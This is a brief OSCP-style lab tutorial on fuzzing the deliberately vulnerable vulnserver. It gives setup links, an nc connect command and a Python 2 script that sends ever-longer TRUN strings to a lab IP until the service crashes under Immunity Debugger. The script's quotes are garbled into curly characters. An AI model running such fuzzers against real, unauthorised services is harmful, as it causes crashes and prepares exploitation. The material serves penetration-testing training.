OSCP Security Technology - Fuzzing

Download vulnserver from the grey corner website.

https://thegreycorner.com/vulnserver.html

Download immunity debugger from here.

https://www.immunityinc.com/products/debugger/

nc -nv 192.168.2.21 9999

Kali

Vulserver

nano fuzzer.py
chmod 777 fuzzer.py
./fuzzer.py

#!/usr/bin/python
import socket
import sys

buffer=["A"]
counter=100
while len(buffer) <= 30:
    buffer.append("A"*counter)
    counter=counter+200

for string in buffer:
    print "Fuzzing vulnserver with %s bytes" % len(string)
    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect=s.connect((‘192.168.2.21‘,9999))
    s.send((‘TRUN /.:/‘ + string))
    s.close()

Create and run the fuzzer script.

The vulserver is crashed now.

Debug and watch what will happen.

Install and open Immunity Debugger.

Attach vulnserver.

Run the debugger.

Run the fuzzer.py script on Kali Linux again.

The vulnserver is crashed and the debugger is paused.

OSCP Security Technology - Fuzzing